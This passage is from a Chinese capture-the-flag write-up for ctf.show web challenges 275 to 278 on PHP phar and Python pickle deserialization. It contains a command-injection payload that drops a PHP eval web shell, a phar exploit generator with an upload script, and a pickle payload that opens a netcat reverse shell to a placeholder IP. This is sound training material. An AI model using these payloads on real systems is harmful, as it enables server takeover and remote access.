的扩展名,就没能上传 shell
。
再观察可以发现 filter
类的 __destruct
方法中的命令是字符串拼接,那么就可以任意命令执行了。
payload: ?fn=a%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%20%3F%3E'%20%3E%20shell.php%3B
web276
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
highlight_file(__FILE__);
class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false;
public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } }
if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
|
这道题相比上一题增加了 $admin
的限制,不再能直接执行任意命令。要想通过反序列化实现 $admin === true
,会发现找不到 unserialize
函数,这就需要用到 phar
反序列化,而且正则刚好没有过滤 phar
。
首先构造 phar
的文件,将 filter
存储在 meta-data
中以备反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class filter { public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php"; public $filecontent; public $evilfile = true; public $admin = true; }
@unlink("payload.phar"); $phar = new Phar("payload.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new filter(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); echo "done.";
|
然后因为文件名加上 /var/www/html/
后 unlink
的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar
。
1 2 3 4 5 6 7 8 9 10 11
| import requests
url = "http://70640f7f-4359-43eb-b966-dcd85bc7f53b.challenge.ctf.show:8080/"
target = "/var/www/html/d.phar"
with open("payload.phar", "rb") as f: payload = f.read() _ = requests.post(f"{url}/?fn={target}", data=payload) target = "phar://d.phar/test" _ = requests.post(f"{url}/?fn={target}")
|
蚁剑连接 shell.php
。
web277
html 注释看到 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
,可知是 python
反序列化漏洞,构造 payload
反弹 shell
。
1 2 3 4 5 6 7 8 9 10 11
| import pickle import base64 import os
class RCE: def __reduce__(self): return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)
print(base64.b64encode(pickle.dumps(RCE())))
|
获取 shell
后 cat flag
。
web278
同 web277
,禁用了 os.system
但不影响 os.popen
。